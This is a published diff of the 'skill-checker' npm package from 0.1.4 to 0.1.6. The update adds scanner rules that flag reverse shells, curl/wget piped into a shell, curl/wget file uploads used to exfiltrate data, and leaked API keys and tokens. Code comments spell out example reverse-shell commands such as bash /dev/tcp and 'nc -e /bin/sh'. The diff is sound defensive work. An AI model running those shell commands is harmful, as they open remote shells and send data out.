skill-checker 0.1.4 → 0.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +25 -3
- package/bin/skill-checker.js +0 -0
- package/dist/cli.js +196 -0
- package/dist/cli.js.map +1 -1
- package/dist/index.js +196 -0
- package/dist/index.js.map +1 -1
- package/package.json +1 -1
package/dist/index.js
CHANGED
|
@@ -1087,6 +1087,28 @@ var ENV_ACCESS_PATTERNS = [
|
|
|
1087
1087
|
/\bgetenv\s*\(/,
|
|
1088
1088
|
/\$\{?\w*(?:KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|API_KEY)\w*\}?/i
|
|
1089
1089
|
];
|
|
1090
|
+
var REVERSE_SHELL_PATTERNS = [
|
|
1091
|
+
/\/dev\/tcp\/[\w.-]+\/\d+/,
|
|
1092
|
+
// bash -i >& /dev/tcp/host/port 0>&1
|
|
1093
|
+
/\bnc(?:at)?\b[^\n]*\s-(?:e|c)\s+/,
|
|
1094
|
+
// nc -e /bin/sh host port
|
|
1095
|
+
/\bncat\b[^\n]*\s--exec\b/,
|
|
1096
|
+
// ncat --exec /bin/sh host port
|
|
1097
|
+
/\bsocket\.socket\s*\([^)]*\)[\s\S]*\.(?:connect|connect_ex)\s*\([^)]*\)[\s\S]*os\.dup2\s*\([^)]*\)[\s\S]*(?:subprocess\.(?:call|run|Popen)|os\.system)\s*\(/,
|
|
1098
|
+
/\bphp\b[^\n]*\bfsockopen\s*\([^)]*\)[\s\S]*\b(?:exec|shell_exec|system|passthru)\s*\(/,
|
|
1099
|
+
/\bperl\b[^\n]*\bSocket\b[\s\S]*\bconnect\s*\([^)]*\)[\s\S]*\bexec\s*\(/
|
|
1100
|
+
];
|
|
1101
|
+
var REMOTE_PIPELINE_EXEC_PATTERNS = [
|
|
1102
|
+
/\bcurl\b[^\n|]*https?:\/\/[^\s|]+[^\n]*\|\s*(?:sh|bash|zsh|ksh|ash)\b/i,
|
|
1103
|
+
/\bwget\b[^\n|]*https?:\/\/[^\s|]+[^\n]*\|\s*(?:sh|bash|zsh|ksh|ash)\b/i,
|
|
1104
|
+
/\bcurl\b[^\n|]*https?:\/\/[^\s|]+[^\n]*\|\s*(?:python|python3|node)\b/i,
|
|
1105
|
+
/\bwget\b[^\n|]*https?:\/\/[^\s|]+[^\n]*\|\s*(?:python|python3|node)\b/i
|
|
1106
|
+
];
|
|
1107
|
+
var DATA_EXFIL_PATTERNS = [
|
|
1108
|
+
/\bcurl\b[^\n]*(?:-d|--data|--data-binary|--data-raw)\s+@(?:[^\s'"`]+|["'`][^"'`]+["'`])/i,
|
|
1109
|
+
/\bcurl\b[^\n]*(?:-F|--form)\s+[^\s=]+=@(?:[^\s'"`]+|["'`][^"'`]+["'`])/i,
|
|
1110
|
+
/\bwget\b[^\n]*--post-file(?:=|\s+)(?:[^\s'"`]+|["'`][^"'`]+["'`])/i
|
|
1111
|
+
];
|
|
1090
1112
|
var DYNAMIC_CODE_PATTERNS = [
|
|
1091
1113
|
/\bcompile\s*\(/,
|
|
1092
1114
|
/\bcodegen\b/i,
|
|
@@ -1094,6 +1116,55 @@ var DYNAMIC_CODE_PATTERNS = [
|
|
|
1094
1116
|
/\brequire\s*\(\s*[^"'`\s]/,
|
|
1095
1117
|
/\b__import__\s*\(/
|
|
1096
1118
|
];
|
|
1119
|
+
var PROVIDER_CREDENTIAL_PATTERNS = [
|
|
1120
|
+
{
|
|
1121
|
+
pattern: /\bsk-ant-api03-[A-Za-z0-9_-]{20,}\b/,
|
|
1122
|
+
title: "Anthropic API key exposure"
|
|
1123
|
+
},
|
|
1124
|
+
{
|
|
1125
|
+
pattern: /\bsk-proj-[A-Za-z0-9_-]{20,}\b/,
|
|
1126
|
+
title: "OpenAI project key exposure"
|
|
1127
|
+
},
|
|
1128
|
+
{
|
|
1129
|
+
pattern: /\bxox[bps]-[A-Za-z0-9-]{20,}\b/,
|
|
1130
|
+
title: "Slack token exposure"
|
|
1131
|
+
},
|
|
1132
|
+
{
|
|
1133
|
+
pattern: /\bAKIA[0-9A-Z]{16}\b/,
|
|
1134
|
+
title: "AWS access key exposure"
|
|
1135
|
+
},
|
|
1136
|
+
{
|
|
1137
|
+
pattern: /\bgh[op]_[A-Za-z0-9]{20,}\b/,
|
|
1138
|
+
title: "GitHub token exposure"
|
|
1139
|
+
},
|
|
1140
|
+
{
|
|
1141
|
+
pattern: /\bgithub_pat_[A-Za-z0-9_]{20,}\b/,
|
|
1142
|
+
title: "GitHub fine-grained token exposure"
|
|
1143
|
+
}
|
|
1144
|
+
];
|
|
1145
|
+
var OPENAI_SK_FALLBACK_PATTERN = /\bsk-[A-Za-z0-9_-]{20,}\b/;
|
|
1146
|
+
var CREDENTIAL_NAME_TOKENS = /* @__PURE__ */ new Set([
|
|
1147
|
+
"api",
|
|
1148
|
+
"key",
|
|
1149
|
+
"token",
|
|
1150
|
+
"secret",
|
|
1151
|
+
"password",
|
|
1152
|
+
"credential"
|
|
1153
|
+
]);
|
|
1154
|
+
var CREDENTIAL_COMPOUND_NAMES = /* @__PURE__ */ new Set([
|
|
1155
|
+
"apikey",
|
|
1156
|
+
"apitoken",
|
|
1157
|
+
"accesskey",
|
|
1158
|
+
"accesstoken",
|
|
1159
|
+
"secretkey",
|
|
1160
|
+
"secrettoken"
|
|
1161
|
+
]);
|
|
1162
|
+
var CREDENTIAL_EQUALS_PATTERN = /\b([A-Za-z0-9_-]+)\b\s*=\s*["'`]?([A-Za-z0-9._~+/=\-]{20,})/i;
|
|
1163
|
+
var CREDENTIAL_KEY_VALUE_PATTERN = /^\s*["'`]?([A-Za-z0-9_-]+)["'`]?\s*:\s*["'`]?([A-Za-z0-9._~+/=\-]{20,})/i;
|
|
1164
|
+
var AUTHORIZATION_BEARER_PATTERN = /\bAuthorization\b\s*:\s*Bearer\s+([A-Za-z0-9._~+/=\-]{20,})/i;
|
|
1165
|
+
var X_API_KEY_PATTERN = /\bx-api-key\b\s*:\s*([A-Za-z0-9._~+/=\-]{20,})/i;
|
|
1166
|
+
var CREDENTIAL_MIN_LENGTH = 20;
|
|
1167
|
+
var CREDENTIAL_MIN_ENTROPY = 4.5;
|
|
1097
1168
|
var PERMISSION_PATTERNS = [
|
|
1098
1169
|
/\bchmod\s+[+0-9]/,
|
|
1099
1170
|
/\bchown\b/,
|
|
@@ -1168,6 +1239,40 @@ var codeSafetyChecks = {
|
|
|
1168
1239
|
source,
|
|
1169
1240
|
codeBlockCtx: cbCtx
|
|
1170
1241
|
});
|
|
1242
|
+
checkPatterns(results, line, REVERSE_SHELL_PATTERNS, {
|
|
1243
|
+
id: "CODE-014",
|
|
1244
|
+
severity: "CRITICAL",
|
|
1245
|
+
title: "Reverse shell pattern",
|
|
1246
|
+
loc,
|
|
1247
|
+
lineNum,
|
|
1248
|
+
source
|
|
1249
|
+
});
|
|
1250
|
+
const code015 = detectCode015(line);
|
|
1251
|
+
if (code015) {
|
|
1252
|
+
results.push({
|
|
1253
|
+
id: "CODE-015",
|
|
1254
|
+
category: "CODE",
|
|
1255
|
+
severity: code015.severity,
|
|
1256
|
+
title: code015.title,
|
|
1257
|
+
message: `At ${loc}: ${line.trim().slice(0, 120)}`,
|
|
1258
|
+
line: lineNum,
|
|
1259
|
+
snippet: line.trim().slice(0, 120),
|
|
1260
|
+
source
|
|
1261
|
+
});
|
|
1262
|
+
}
|
|
1263
|
+
const credentialLeak = detectCredentialLeak(line);
|
|
1264
|
+
if (credentialLeak) {
|
|
1265
|
+
results.push({
|
|
1266
|
+
id: "CODE-013",
|
|
1267
|
+
category: "CODE",
|
|
1268
|
+
severity: credentialLeak.severity,
|
|
1269
|
+
title: credentialLeak.title,
|
|
1270
|
+
message: `At ${loc}: ${line.trim().slice(0, 120)}`,
|
|
1271
|
+
line: lineNum,
|
|
1272
|
+
snippet: line.trim().slice(0, 120),
|
|
1273
|
+
source
|
|
1274
|
+
});
|
|
1275
|
+
}
|
|
1171
1276
|
checkPatterns(results, line, DYNAMIC_CODE_PATTERNS, {
|
|
1172
1277
|
id: "CODE-010",
|
|
1173
1278
|
severity: "HIGH",
|
|
@@ -1223,6 +1328,97 @@ function checkPatterns(results, line, patterns, opts) {
|
|
|
1223
1328
|
}
|
|
1224
1329
|
}
|
|
1225
1330
|
}
|
|
1331
|
+
function detectCode015(line) {
|
|
1332
|
+
if (REMOTE_PIPELINE_EXEC_PATTERNS.some((pattern) => pattern.test(line))) {
|
|
1333
|
+
return {
|
|
1334
|
+
severity: "CRITICAL",
|
|
1335
|
+
title: "Remote pipeline execution pattern"
|
|
1336
|
+
};
|
|
1337
|
+
}
|
|
1338
|
+
if (DATA_EXFIL_PATTERNS.some((pattern) => pattern.test(line))) {
|
|
1339
|
+
return {
|
|
1340
|
+
severity: "HIGH",
|
|
1341
|
+
title: "Data exfiltration pattern"
|
|
1342
|
+
};
|
|
1343
|
+
}
|
|
1344
|
+
return null;
|
|
1345
|
+
}
|
|
1346
|
+
function detectCredentialLeak(line) {
|
|
1347
|
+
for (const provider of PROVIDER_CREDENTIAL_PATTERNS) {
|
|
1348
|
+
if (provider.pattern.test(line)) {
|
|
1349
|
+
return {
|
|
1350
|
+
severity: "CRITICAL",
|
|
1351
|
+
title: provider.title
|
|
1352
|
+
};
|
|
1353
|
+
}
|
|
1354
|
+
}
|
|
1355
|
+
if (OPENAI_SK_FALLBACK_PATTERN.test(line) && isCredentialAssignmentContext(line)) {
|
|
1356
|
+
return {
|
|
1357
|
+
severity: "CRITICAL",
|
|
1358
|
+
title: "OpenAI-style API key exposure"
|
|
1359
|
+
};
|
|
1360
|
+
}
|
|
1361
|
+
const assignmentMatch = line.match(CREDENTIAL_EQUALS_PATTERN);
|
|
1362
|
+
if (assignmentMatch?.[1] && assignmentMatch[2] && hasCredentialNameToken(assignmentMatch[1]) && isHighEntropyCredential(assignmentMatch[2])) {
|
|
1363
|
+
return {
|
|
1364
|
+
severity: "HIGH",
|
|
1365
|
+
title: "High-entropy credential assignment"
|
|
1366
|
+
};
|
|
1367
|
+
}
|
|
1368
|
+
const keyValueMatch = line.match(CREDENTIAL_KEY_VALUE_PATTERN);
|
|
1369
|
+
if (keyValueMatch?.[1] && keyValueMatch[2] && hasCredentialNameToken(keyValueMatch[1]) && isHighEntropyCredential(keyValueMatch[2])) {
|
|
1370
|
+
return {
|
|
1371
|
+
severity: "HIGH",
|
|
1372
|
+
title: "High-entropy credential assignment"
|
|
1373
|
+
};
|
|
1374
|
+
}
|
|
1375
|
+
const bearerMatch = line.match(AUTHORIZATION_BEARER_PATTERN);
|
|
1376
|
+
if (bearerMatch?.[1] && isHighEntropyCredential(bearerMatch[1])) {
|
|
1377
|
+
return {
|
|
1378
|
+
severity: "HIGH",
|
|
1379
|
+
title: "Authorization bearer credential exposure"
|
|
1380
|
+
};
|
|
1381
|
+
}
|
|
1382
|
+
const xApiKeyMatch = line.match(X_API_KEY_PATTERN);
|
|
1383
|
+
if (xApiKeyMatch?.[1] && isHighEntropyCredential(xApiKeyMatch[1])) {
|
|
1384
|
+
return {
|
|
1385
|
+
severity: "HIGH",
|
|
1386
|
+
title: "X-API-Key credential exposure"
|
|
1387
|
+
};
|
|
1388
|
+
}
|
|
1389
|
+
return null;
|
|
1390
|
+
}
|
|
1391
|
+
function isCredentialAssignmentContext(line) {
|
|
1392
|
+
if (/\bAuthorization\b\s*:\s*Bearer\s+sk-/i.test(line)) {
|
|
1393
|
+
return true;
|
|
1394
|
+
}
|
|
1395
|
+
if (/\bx-api-key\b\s*:\s*sk-/i.test(line)) {
|
|
1396
|
+
return true;
|
|
1397
|
+
}
|
|
1398
|
+
const equalsMatch = line.match(CREDENTIAL_EQUALS_PATTERN);
|
|
1399
|
+
if (equalsMatch?.[1] && equalsMatch[2]) {
|
|
1400
|
+
return hasCredentialNameToken(equalsMatch[1]) && equalsMatch[2].startsWith("sk-");
|
|
1401
|
+
}
|
|
1402
|
+
const keyValueMatch = line.match(CREDENTIAL_KEY_VALUE_PATTERN);
|
|
1403
|
+
if (keyValueMatch?.[1] && keyValueMatch[2]) {
|
|
1404
|
+
return hasCredentialNameToken(keyValueMatch[1]) && keyValueMatch[2].startsWith("sk-");
|
|
1405
|
+
}
|
|
1406
|
+
return false;
|
|
1407
|
+
}
|
|
1408
|
+
function hasCredentialNameToken(name) {
|
|
1409
|
+
const normalized = name.replace(/([a-z])([A-Z])/g, "$1_$2").replace(/([A-Za-z])([0-9])/g, "$1_$2").replace(/([0-9])([A-Za-z])/g, "$1_$2").toLowerCase();
|
|
1410
|
+
const tokens = normalized.split(/[_-]+/).map((token) => token.trim()).filter(Boolean);
|
|
1411
|
+
if (tokens.some((token) => CREDENTIAL_NAME_TOKENS.has(token))) {
|
|
1412
|
+
return true;
|
|
1413
|
+
}
|
|
1414
|
+
return tokens.length === 1 && CREDENTIAL_COMPOUND_NAMES.has(tokens[0]);
|
|
1415
|
+
}
|
|
1416
|
+
function isHighEntropyCredential(value) {
|
|
1417
|
+
if (value.length < CREDENTIAL_MIN_LENGTH) {
|
|
1418
|
+
return false;
|
|
1419
|
+
}
|
|
1420
|
+
return shannonEntropy(value) > CREDENTIAL_MIN_ENTROPY;
|
|
1421
|
+
}
|
|
1226
1422
|
function getTextSources(skill) {
|
|
1227
1423
|
const sources = [
|
|
1228
1424
|
{ text: skill.body, source: "SKILL.md" }
|